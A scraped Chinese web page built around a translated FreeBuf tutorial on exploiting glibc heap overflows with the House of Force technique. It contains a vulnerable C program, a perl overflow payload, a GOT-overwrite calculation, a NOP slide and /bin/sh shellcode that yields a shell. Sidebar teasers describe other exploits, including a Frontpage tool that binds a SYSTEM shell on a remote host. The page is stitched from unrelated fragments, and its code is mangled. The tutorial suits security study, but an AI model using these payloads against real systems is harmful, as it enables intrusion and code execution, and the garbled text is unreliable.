以下哪些溢出产业转移 技术溢出可用于漏洞攻击( )。

信息安全 源自瑞星如何理解堆和堆溢出漏洞的利用? -
| 关注黑客与极客
如何理解堆和堆溢出漏洞的利用?
共465029人围观
,发现 10 个不明物体
这篇文章详细的描述了堆,并且会教你如何编写基于堆溢出漏洞的利用。
运行下面的程序:
#include&&string.h&#include&&stdlib.h&#include&&stdio.h&
int&main(int&argc,&char&*argv[]){&&char&*buf1&=&malloc(128);&&char&*buf2&=&malloc(256);&&read(fileno(stdin),&buf1,&200);&&free(buf2);&&free(buf1);}
在第10行中,存在一个明显的可利用的溢出漏洞。那么首先我们就来了解下系统是怎样管理堆的。
0×01&基本堆和堆块的布局
每个程序分配的内存(这里指的是malloc函数)在内部被一个叫做”堆块”的所替代。一个堆块是由元数据和程序返回的内存组成的(实际上内存是malloc的返回值)。所有的这些堆块都是保存在堆上,这块内存区域在申请新的内存时会不断的扩大。同样,当一定数量的内存释放时,堆可以收缩。在glibc源码中定义的堆块如下:
struct&malloc_chunk&{&&INTERNAL_SIZE_T&&&&&&prev_&&/*&Size&of&previous&chunk&(if&free).&&*/&&INTERNAL_SIZE_T&&&&&&&&&&&&&/*&Size&in&bytes,&including&overhead.&*/&&&struct&malloc_chunk*&&&&&&&&&&/*&double&links&--&used&only&if&free.&*/&&struct&malloc_chunk*&&&&/*&Only&used&for&large&blocks:&pointer&to&next&larger&size.&&*/&&struct&malloc_chunk*&fd_&/*&double&links&--&used&only&if&free.&*/&&struct&malloc_chunk*&bk_};
假设内存中没有堆块释放,新分配的内存区域紧随之前申请的堆块后。因此如果一个程序依次调用malloc(256),malloc(512),以及malloc(1024),内存布局如下:
Meta-data of chunk created by malloc(256)
The 256 bytes of memory return by malloc
—————————————–
Meta-data of chunk created by malloc(512)
The 512 bytes of memory return by malloc
—————————————–
Meta-data of chunk created by malloc(1024)
The 1024 bytes of memory return by malloc
—————————————–
Meta-data of the top chunk
在堆块之间的”—”是虚拟的边界,实际当中他们是彼此相邻的。你可能会问,为何我要在布局当中包含一个”顶块”元数据。顶级块表示堆中可利用的内存,而且是唯一的可以大小可以生长的堆块。当申请新的内存时,顶块分成两个部分:第一个部分变成所申请的堆块,第二个部分变为新的顶块(因此顶块大小可以收缩)。如果顶块不能够满足申请的内存区域大小,程序就会要求操作系统扩大顶块大侠(让堆继续生长)。
0×02&堆块结构解析
解析堆块需要依赖于当前堆块的状态。例如,在分配的堆块中只有prev_size和size字段,程序分配的缓冲区开始于fd字段。这就表示分配的堆块总是有8字节的元数据,在这之后才是缓冲区。而且奇怪的是prev_size字段不是被分配的堆块所使用!下面我们将会看到未分配的(释放)的堆块使用其他的字段。
另一个重点是,在glibc堆块中是8字节对齐的。为了简化内存的管理,堆块的大小总是8字节的倍数。这就表示size的最后3位可以是其他用途(正常情况下总是置0)。只有第一位对我们很重要。如果这位置1,就表示前面的堆块在使用。如果没有置1,表示前面的堆块没有被使用。如果相关的内存被释放了,堆块就不会被使用(通过调用函数去释放)。
因此我们怎样判断当前堆块是否在使用?其实很简单:通过增加当前块的指针我们跟踪到下一个堆块,在这个堆块中,我们检查关键位是否置位来判断堆块是否在使用。
0×03&管理空闲块
我们知道当堆块释放后,在下一个堆块的size字段关键位一定会被清零。此外,prev_size字段将会被设置成堆块释放状态。
已经释放的堆块同样使用fd和bk字段。这两个字段可以作为漏洞利用字段。fd字段指向之前的已释放堆块,bk字段指向之后的已释放堆块。这就表示释放的堆块存储在一个双向链表中。然而所有的堆块不是保存在一个链表中的。实际上有很多链表保存释放的堆块。每个链表包含的是特定大小的堆块。这样的话搜索指定大小的堆块将会很快,因为只需要在指定大小的链表中搜索相应堆块。现在我们来矫正一下刚开始的陈述:当申请内存时,首先从具有相同大小的已经释放的堆块(或者大一点的堆块)中查找并重新使用这段内存。仅仅当没有找到合适的堆块时才会使用顶块。
最后,我们可以知道如何去利用了:释放堆块。当一个堆块释放了(通过调用free函数),它会检查之前的堆块是否被释放了。如果之前的堆块没有在使用,那么就会和当前的堆块合并。这样就会增加堆块的大小。结果就是这个堆块需要被放置在不同的链表中。这样的话,之前释放的堆块就需要首先从链表中删除,接着再和当前堆块合并到另一个合适的链表中。从一个链表中删除一个堆块的代码如下:
/*&Take&a&chunk&off&a&bin&list&*/void&unlink(malloc_chunk&*P,&malloc_chunk&*BK,&malloc_chunk&*FD){ FD&=&P-& BK&=&P-& FD-&bk&=&BK; BK-&fd&=&FD;}
这里的参数P表示要从链表中删除的堆块。BK和FD表示前块和后块的输出参数。这是从链表中删除堆块的典型代码,操作如下:
“Lam&Larry”表示从链表中删除的元素。要从链表中删除这个元素一定要有下面两个步骤:
1.&下一个节点(FD-&bk)的后驱指向前一个节点的后驱。对应删除函数的第6行;
2.&前一个节点的前驱指向下一个节点的前驱(FD)。对应删除函数的第7行。
从攻击者的角度来看,重要的事情就是这两个写内存的操作可以做些手脚。现在的目标就是操纵这些元数据,这样的话就可以控制写入的值,还可以控制在哪里写入。我们可以通过这个向任意内存写入任意值。重写函数的指针,最后让指针指向我们的代码。
0×04&更现代化的技术
不幸的是,上述介绍的方法在新版的glibc中不再适用。删除堆块的函数变得更健壮并且在运行时做了检查:前块的前驱指针必须指向当前块。类似的,后块的后驱指针必须指向当前块:
/*&Take&a&chunk&off&a&bin&list&*/void&unlink(malloc_chunk&*P,&malloc_chunk&*BK,&malloc_chunk&*FD){FD&=&P-&&BK&=&P-&if&(__builtin_expect&(FD-&bk&!=&P&||&BK-&fd&!=&P,&0))malloc_printerr(check_action,"corrupted&double-linked&list",P);&else&{FD-&bk&=&BK;BK-&fd&=&FD;}
更多的技术可以参加我们的博客和
。作者将这些内容归纳为好几种技术并且给了详细的命名。这些技术的需要的条件如下:
The House of Prime:在调用函数malloc后,要求两个释放的堆块包含攻击者可控的size字段。
The House of Mind:要求能够操作程序反复分配新的内存。
The House of Force:要求能够重写顶块,并且存在一个可控size的malloc 函数,最后还需要再调用另一个malloc函数。
The House of Lore:不适用于我们的例程。
The House of Spirit:假设攻击者可以控制一个释放块的指针,但是这个技术还不能使用。
The House of Chaos:实际上这不是一个技术,仅仅是文章的一部分而已。
总结:在Malloc Maleficarum中提到的技术并不适合我们这个简单的例子。所有的技术都需要足够的(可控)数量的调用free或者malloc,才有可能存在利用。因此我们这里的例子是不现实的,因为太简单了。因此我们需要更换下例子,让其适用于这些场景,这样才能实际利用。新的例子如下:
#include&&stdio.h&#include&&string.h&#include&&stdlib.h&int&main(int&argc,&char&*argv[]){&char&*buf1,&*buf2,&*buf3;&if&(argc&!=&4)&&buf1&=&malloc(256);&strcpy(buf1,&argv[1]);&buf2&=&malloc(strtoul(argv[2],&NULL,&16));&buf3&=&malloc(256);&strcpy(buf3,&argv[3]);&free(buf3);&free(buf2);&free(buf1);&return&0;}
这样看起来我们才有可能malloc函数的size。这种情况并不是不可能。想象一个缓存对象的(网络)服务能力。要缓存一个对象,在这个对象被传送时首先需要发送对象的大小至服务器。在这样的一个程序中,可以控制malloc函数的大小。无论怎样,这个例子可以被利用,甚至在最近的glibc中可以编译。
0×05&利用技巧:The House of Force
我们的例子刚好满足技巧The&House&of&Force的要求。这种技术滥用的代码从顶块中
分配内存。下面的代码是_int_malloc:
static&void*&_int_malloc(mstate&av,&size_t&bytes){&INTERNAL_SIZE_T&&&&&&&&&&&&&&/*&normalized&request&size&*/& mchunkptr&&&&&&&&&&&&&&&&/*&inspected/selected&chunk&*/& INTERNAL_SIZE_T&&&&&&&&&&&&/*&its&size&*/& mchunkptr&&&&&&&&&&&&&/*&remainder&from&a&split&*/& unsigned&long&&&remainder_&/*&its&size&*/& checked_request2size(bytes,&nb);& [...]& victim&=&av-&& size&=&chunksize(victim);& if&((unsigned&long)(size)&&=&(unsigned&long)(nb&+&MINSIZE))& {& & remainder_size&=&size&-&& & remainder&=&chunk_at_offset(victim,&nb);& & av-&top&=&& & set_head(victim,&nb&|&PREV_INUSE&|&(av!=&main_arena&?&NON_MAIN_ARENA&:&0));& & set_head(remainder,&remainder_size&|&PREV_INUSE);& & check_malloced_chunk(av,&victim,&nb);& & void&*p&=&chunk2mem(victim);& & if&(__builtin_expect&(perturb_byte,&0))& & & alloc_perturb&(p,&bytes);& & return&p;& }& [...]}
现在的目标是使用可控的值来重写av-top。av-top变量总是指向顶块。在调用malloc期间,这个变量引用顶块(防止其他的堆块不能满足要求)。这就意味着如果我们控制了av-top的值,我们就可以强制从顶块中分配内存,控制接下来的堆块分配的地址(在本例的第15行,我们控制了malloc的返回值)。不断地,我们可以在第16行向任意地址写入任意代码。
为了让这些合适的代码执行,在第15行的if测试必须是true。这个是检查顶块的大小是否满足所要求的堆块大小(在顶块的元数据是否有足够的空白区域)。我们想确保都会从顶块中申请内存(任意大小)。为了做到这个,我们在第11行通过溢出重写顶块的元数据。首先我们向分配的空间中写入256字节,然后写入4个字节重写prev_size,最后用非常大的(无符号)整型数重写size。
LARGETOPCHUNK=$(perl&-e&'print&"A"x260&.&"\xFF\xFF\xFF\xFF"')./example&$LARGETOPCHUNK&1&2
上面的还不能够利用这个程序,还需要更多的步骤。还需要通过调试来确定顶块的size确实被修改了。继续重写变量av-top。我们的目标是在释放前,让它指向8字节。动态加载函数的指针保存在GOT表中,所以如果我们可以重写释放的指针,我们可以控制程序跳转到任意位置(特别是我们的shellcode中),为了找到got.plt地址,我们执行:
readelf&--relocs&example
在我的例子中,释放位于0x,减去8个字节就是0x。写入av-top的值是计算后的chunk_at_offset:
/*&Treat&space&at&ptr&+&offset&as&a&chunk&*/#define&chunk_at_offset(p,&s)&&((mchunkptr)(((char*)(p))&+&(s)))
我们控制了第二个参数:nb(#define&s)。通过调试程序,我发现victim(旧的av-top值)等于0x804b110。因此传入malloc的值应该是0xx804b110=FFFFEEF0,现在得到:
LARGETOPCHUNK=$(perl&-e&'print&"A"x260&.&"\xFF\xFF\xFF\xFF"')./example&$LARGETOPCHUNK&FFFFEEF0&AAAA
由于eip设置为0×(=AAAA的编码值),因此出现了段错误。最后一步就是让eip指向我们需要控制的地方。假设ASLR未开启,因此栈区总是固定地址。本例中,开始与0xBFFFFFFF。剩下的就是构造nop&slide,注入shellcode,然后让eip指向NOP&slide:
LARGETOPCHUNK=$(perl&-e&'print&"A"x260&.&"\xFF\xFF\xFF\xFF"')NOPS=$(perl&-e&'print&"\x90"x&0x10000')SC=$'\x68\x2f\x73\x68\x5a\x68\x2f\x62\x69\x6e\x89\xe7\x31\xc0\x88\x47\x07\x8d\x57\x0c\x89\x02\x8d\x4f\x08\x89\x39\x89\xfb\xb0\x0b\xcd\x80'STACKADDR=$'\x01\xC0\xFF\xBF'env&-i&"A=$NOPS$SC"&./example&$LARGETOPCHUNK&FFFFEEF0&$STACKADDR
Yeah!现在我们就可以得到一个shell!!
最后需要说明的几点。第一,我们使用了大量的NOP&slide。这样会更容易得到正确的栈地址(第三个参数)。第二,$STACKADDR的第一个字节从1开始。这样做是为了避免从NULL字节(字符串终止符)开始。最后,我们将NOP&slide和shellcode放进环境变量中,使用env&command清除其他的环境变量(可以导致更多可预测的漏洞利用)。
此外我们没有绕过ASLR,因为我们是在32位机子上工作。为了防止DEP阻止我们从栈中执行shellcode,我们必须要知道
。这个要求控制esp,这个可以通过重写一个栈帧指针(保存ebp的值)来实现。
0×06&结论
我们成功利用了第二个程序。此外还解释了如果绕过DEP和ASLR。
[1]&Justin&N.&Ferguson,&.&Blackhat&USA,&2007.
[2]&J.&Koziol,&D.&Litchfield,&D.&Aitel,&C.&Anley,&S.&Eren,&N.&Mehta,&and&R.&Hassell.&.&Wiley,&2003.
[3]&Doug&Lea,&.&Personal&website.
[4]&Andries&Brouwer,&.
[5]&Phantasmal&Phantasmagoria,&,&2005.
[6]&blackngel,&,&Issue&0×42,&2009.
[7]&MaXX,&,&Issue&0×39,&2001.
*原文地址: ,FB小编老王隔壁的白帽子翻译,转载请注明来自FreeBuf黑客与极客()&
什么堆溢出栈溢出,搞得我都快脑溢血。
Follow my own course
写的好抽象。。。要是能多配一些插图就好多了。。。
然而并没有什么卵用
/SEC-fsq...
其实看下《0day安全 软件漏洞分析技术》这本书,这些基础就都差不多了。
写的挺好的,我也写过一篇其实就是根据《0day安全 软件漏洞分析技术》上面写的~/dwlsxj/p/StackOverflow.html和/dwlsxj/p/StackOverflow.html
必须您当前尚未登录。
必须(保密)
这家伙太懒,还未填写个人描述!
关注我们 分享每日精选文章记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华
阅读: 36为了更好地对抗攻击行为,咱们需要了解攻击者的攻击手段是怎样的,做更有效的安全防护。本文介绍攻击者常用攻击手段之一:溢出漏洞利用手段。文章目录一、溢出漏洞利用概述二、存有溢出漏洞的代码三、GDB下的漏洞利用执行四、实际环境下的漏洞利用执行五、溢出漏洞利用样本六、溢出漏洞利用检测七、总结一、溢出漏洞利用概述溢出漏洞利用,是指在存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为“可执行”代码来运行。从而使得攻击者可以不受安全措施的约束进行攻击行为。下面以栈布局说明溢出漏洞利用过程。正常栈布局RBP : 栈基地址寄存器,指向栈底地址;RSP : 栈顶寄存器,指向栈顶地址;RIP:指令地址寄存器,指向指令所在地址。函数调用时,当
发布时间: |
阅读:17065 | 评论:0 |
阅读: 12NTP较容易出现缓冲区溢出漏洞, 原因是当它将用户提供的数据复制到缓冲区的时候,并不能正确的判断缓冲区的大小是否足够。攻击者可以利用此漏洞在受影响的应用程序内的上下文中执行任意代码。失败的尝试将导致拒绝服务。文章目录漏洞描述受影响版本 未受影响版本解决方案 参考链接漏洞描述在构建具有自定义字段的响应数据包时, 在 NTP 中发现了一个漏洞。如果在ntp.conf文件中配置了自定义字段, 且字段名称特别长, 则包含这些字段的响应数据包会导致缓冲区溢出, 从而导致崩溃。受影响版本 Ubuntu Ubuntu Linux 17.04Ubuntu Ubuntu Linux 16.10Ubuntu Ubuntu Linux 16.04 LTSUbuntu Ubuntu Linux 14.04 LTSRedha
发布时间: |
阅读:31009 | 评论:0 |
* 本文原创作者:zzz66686,本文属FreeBuf原创奖励计划,未经许可禁止转载1. 前言前几日,笔者在exploit-db上发现了一个kill.exe的溢出漏洞,在众多的UAF漏洞中,这种单纯的溢出漏洞简直如一股清泉一般,遂将其捡了出来,深入地看了看。原计划写一个完整的可用EXP,但貌似失败了。所以,这里以半介绍半讨论的形式聊一聊这个EXP的问题。对于在这方面比较有经验有见解的读者,笔者诚恳的请求不吝赐教;而对于这方面不太了解的读者,希望这篇可以把一些基本信息介绍给大家。2. 漏洞分析Kill.exe是微软发行的Windows调试工具包的一个小工具,用于终止一个或多个进程,以及它们的所有线程。在exploit-db中提到的包含漏洞的kill.exe的版本号为:6.3.9600.17
发布时间: |
阅读:31879 | 评论:0 |
阅读: 6绿盟科技安全团队发现 网站对PHP“bcmath.c”多个本地堆溢出漏洞做了更新,其中涉及到的CVE编号分别为:CVE-和CVE-。日,NULL-LIFE团队的Fernando向PHP官方提交了PHP“bcmath.c”库中的本地堆溢出漏洞。具体地址如下:https://bugs.php.net/bug.php?id=年4月25日,官方进行了代码修复。具体地址如下:/php/php-src/commit/d7aeca636dc6c401f9cd日,官方发布了修复漏洞后的最新版本。日
发布时间: |
阅读:30810 | 评论:0 |
阅读: 7NULL-LIFE团队的Fernando向PHP官方提交了PHP“bcmath.c”库中的本地堆溢出漏洞。绿盟科技安全团队发现 网站对PHP“bcmath.c”多个本地堆溢出漏洞做了更新,其中涉及到的CVE编号分别为:CVE-和CVE-。日,NULL-LIFE团队的Fernando向PHP官方提交了PHP“bcmath.c”库中的本地堆溢出漏洞。具体地址如下:https://bugs.php.net/bug.php?id=年4月25日,官方进行了代码修复。具体地址如下:/php/php-src/commit/d7aec56364e40
发布时间: |
阅读:29053 | 评论:0 |
本文首先分析了 return-into-libc 的攻击原理,分别介绍了在不同平台进行传统 return-into-libc 攻击的实验过程和结果。然后,本文进一步引入并解释了返回导向编程的攻击方式,这种攻击可以弥补传统 return-into-libc 攻击的不足,使得攻击更灵活、更有效。最后,本文给出了针对这些攻击方法的防御手段。本文可以帮助读者了解 return-into-libc 攻击以及如何在系统中防止攻击的发生。
缓冲区溢出攻击是最常见的利用程序缺陷的攻击方法,并成为了当前重要的安全威胁之一。
在各种安全报告中,缓冲区溢出漏洞始终是其中很重要的一部分。缓冲区溢出攻击很容易被攻击者利用,因为 C 和 C++等语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可
发布时间: |
阅读:26573 | 评论:0 |
Ubuntu 12.04 32位
选择漏洞受影响的程序:clockdiff(/learning/detail/224.html)
sudo apt-get install iputils-clockdiff运行:clockdiff `python -c "print '0' * $((0x-2*4-1-4))"`发生段错误。
因为知道漏洞出在glbc中,所以考虑搭建源代码调试glibc环境。sudo apt-get install libc6-dbg
sudo apt-get source libc6-dev //下载eglibc源码在gdb调试时使用命令 directory &path&/egl
发布时间: |
阅读:36024 | 评论:0 |
今天看到小猪在safekey的群里面说关注了很久了一个.NET 远程代码执行漏洞exp公开了,于是马上去exploit-db找了下找到http://www./exploits/35280/。
这是微软在14年5月就已经发布补丁的一个漏洞,也就是MS14-026/CVE-,漏洞作者 James Forshaw ,详细可以看微软的 /library/security/ms14-026 安全公告,漏洞原因是 .NET Remoting服务在处理数据格式时设置的TypeFilterLevel一种方式存在漏洞,当发送构造的特定数据过去时,可以执行任意代码。
受影响的版本为
Microsoft .NET Framewo
发布时间: |
阅读:21110 | 评论:0 |
在本文开始之前,请注意这是一份十分冗杂的信息安全通告。有关于Windows控制命令符,我可能发现了一个可以通过简单批处理文件进行攻击的BUG。这个BUG存在于Windows 2000版本以上的64位以及32位机器上,它是一个批处理解析错误。它不需要额外安装任何软件(cmd.exe是Windows默认安装的),它可以由任意权限的用户发起(假设他们可以运行cmd.exe,从而解析批处理文件)包括解析错误发生的位置(故障代码能够解释这个原因)。这并不是一个远端控制层次的BUG,仅仅是一个DoS类型,需要得到用户请求才能运行(或者是把其作为一个开机启动项)。但是由于他的简单性,以及Windows系统的普及率,我个人认为它值得你看上那么一眼。请注意,如果你启用这些批处理文件导致系统崩溃我是不负责任的!任务管理器会结束这个
发布时间: |
阅读:27301 | 评论:0 |
Winamp是一个比较老的播放器,这里主要是通过winamp的一个poc分析,构造一个exp。主程序见附件winamp.exe, poc见附件poc.m3u。一、Poc分析首先查看poc如下。发现除了前10多个字节为m3u文件格式规定内容外,其它部分均为A。运行winamp.exe程序,将poc.m3u拖入主界面中,程序直接崩溃。为了查看崩溃时状态,我们将windbg设置为即时调试器。设置在cmd中使用命令:windbg –I再次运行poc,自动弹出windbg,发现崩溃状态:出现异常,主要是esi+4不可写,修改esi=0045000,命令为:r @esi=继续运行,停至eax为,[Eax+0c]处也不可读,且经分析,必须[eax+0c]的第5位为1,程序才会运行至strcpy
发布时间: |
阅读:30979 | 评论:0 |
关注公众号hackdig,学习最新黑客技术在最近发现的WINdows操作系统一系列安全漏洞中,除了workstationservice远程溢出漏洞外,还要一个漏洞也相当的危险,那就是Microsoft Frontpage server extensions远程缓冲区溢出漏洞。这个漏洞可以使黑客远程获取系统权限,危害程度很高,用户们也应该注意,下面还是让我们来看看这个漏洞的攻防情况。漏洞情况Frontpage服务器扩展是IIS的一个安装组件(图一),他增强了WEB服务器的功能,使得创作者能够远程管理和发布网站,例如通过Fontpage直接与Server Extersions交互,实现文件上载,连接到数据源,修改web授权等操作。第一个漏洞是由于Frontpage服务扩展的远程调试功能存在缓冲区溢出,这个功能用于用户远程连接Frontpage服务扩展的服务器和远程调试内容使用,如Visual interdev,攻击者成功利用这个漏洞可以以本地SYSTEME权限在系统上执行任意命令,然后再系统上执行任意操作,如安装程序、查看更改或删除数据、建立拥有全部权限的账户等。第二个漏洞存在于SMARThtml解析器中,提供对web表单和其他基于Frontpage动态内容的支持,攻击者利用这个漏洞可以使运行Frontpage服务扩展的服务器临时停止对正常请求的响应。很明显,第一个漏洞比第二个漏洞要严重的多,我们这里要介绍也是第一个漏洞的攻防:攻击的方法&虽然Fontpage Server Extersions漏洞不像Workstation Service存在那么普遍,但网上使用Fontpage Server Extersions的主机数量也不少,但并不是每台IIS主机都安装有Fontpage服务器扩展的,我们如何才能检测开放Fontpage服务器扩展的主机呢?安装了Fontpage服务器扩展会在主页存放的文件夹建立一个“/_vti_pvt/”文件夹,这是此漏洞的标志,根据此点我们可以在IE输入这样一条请求:http://IP/vti_pvt/,如果存在/vti_pvt文件夹就会返回结果:“网页无法显示”,如果不存在/vti_pvt文件夹就会返回结果:“无法找到网页”,这是检测Fontpage服务器是否安装的一个方法目前网上也已经出现了这个Fontpage漏洞的利用程序以及编译好的攻击程序,利用这些攻击程序黑客能轻而易举的获取漏洞主机的系统权限,如果找到安装了Fontpage Server Extersions的主机就可以进行测试攻击了,我们先来看看此漏洞的一个溢出程序fp.exe,利用这个程序如果成功溢出后,他会在对方主机的9999端口上bind a shell,我们只要连接到9999端口就可以执行CMD命令了:很简单把,只要输入要攻击的目标主机地址及其web服务器端口就行,web服务器端口一般通用的是80。假设我们现在找到一个80端口,开了IIS服务并安装了Fontpage Server Extersions的win XP服务器,他的IP地址是192.168.1.11,我们来试着对他进行溢出攻击,打开命令行工具,输入fp 192.168.1.11程序自动一步步的进行溢出。如果一切顺利,溢出成功的话,就会直接出现对方主机的Shell(图四),而且是system权限,你可以执行任意命令,如果在溢出过程中出现了错误,就不可能出现Shell计算机网络安全试卷(答案)_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
计算机网络安全试卷(答案)
阅读已结束,下载文档到电脑
想免费下载本文?
定制HR最喜欢的简历
下载文档到电脑,方便使用
还剩13页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢

我要回帖

更多关于 fdi技术溢出效应 的文章

 

随机推荐